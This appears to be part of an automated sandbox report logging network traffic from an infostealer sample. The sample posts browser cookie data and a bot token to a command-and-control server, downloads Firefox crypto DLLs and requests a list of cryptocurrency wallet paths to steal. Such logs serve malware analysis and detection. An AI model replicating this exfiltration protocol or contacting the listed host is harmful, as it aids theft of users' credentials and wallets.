2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDHCGHDHIDHCBGCBGCAE--
Dec 7, 2024 15:06:26.950519085 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 15:06:27.294181108 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIDAAFBGDBKJJJKFIIIJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="file"------IIDAAFBGDBKJJJKFIIIJ--
Dec 7, 2024 15:06:28.227217913 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49738	185.215.113.206	80	7560	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 15:06:39.908323050 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJJJDHDGDAAKECAKJDA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="file"------BKJJJDHDGDAAKECAKJDA--
Dec 7, 2024 15:06:41.726664066 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 15:06:42.130940914 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 15:06:42.576809883 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 7, 2024 15:06:42.576839924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 7, 2024 15:06:42.576850891 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 7, 2024 15:06:42.576977968 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 7, 2024 15:06:42.577055931 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 7, 2024 15:06:42.577068090 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Dec 7, 2024 15:06:42.577078104 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Dec 7, 2024 15:06:42.577276945 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Dec 7, 2024 15:06:42.577286959 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Dec 7, 2024 15:06:42.577291965 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Dec 7, 2024 15:06:42.584954023 CET	1236	IN	Data Raw: ff ff 89 7d d4 8b 95 e0 fe ff ff 11 d0 89 45 cc 8b 4d a0 31 c1 8b 75 9c 31 fe 8b 5d c4 01 cb 89 5d c4 8b 7d bc 11 f7 89 7d bc 8b 85 7c ff ff ff 31 d8 89 c3 31 fa 0f a4 d0 08 0f a4 da 08 89 d7 8b 55 d4 03 95 40 ff ff ff 8b 5d cc 13 9d 3c ff ff ff Data Ascii: }EM1u1]]}}\|11U@]<U]11lMuuMM11UM EHMM(Eh1]1EEuu]11]
Dec 7, 2024 15:06:44.012280941 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 15:06:44.449568033 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 7, 2024 15:06:45.384901047 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 15:06:45.939126968 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 7, 2024 15:06:46.583853006 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 15:06:47.020783901 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 7, 2024 15:06:50.415026903 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 15:06:50.863481998 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 7, 2024 15:06:51.539850950 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 15:06:51.979980946 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 7, 2024 15:06:53.078680992 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAAEHDHIIJKECBKEBA Host: 185.215.113.206 Content-Length: 1003 Connection: Keep-Alive Cache-Control: no-cache
Dec 7, 2024 15:06:54.012634993 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 15:06:54.078547955 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKKEGIDBGHIDGDHDBFH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 2d 2d 0d 0a Data Ascii: ------BKKKEGIDBGHIDGDHDBFHContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------BKKKEGIDBGHIDGDHDBFHContent-Disposition: form-data; name="message"wallets------BKKKEGIDBGHIDGDHDBFH--
Dec 7, 2024 15:06:54.518390894 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:54 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 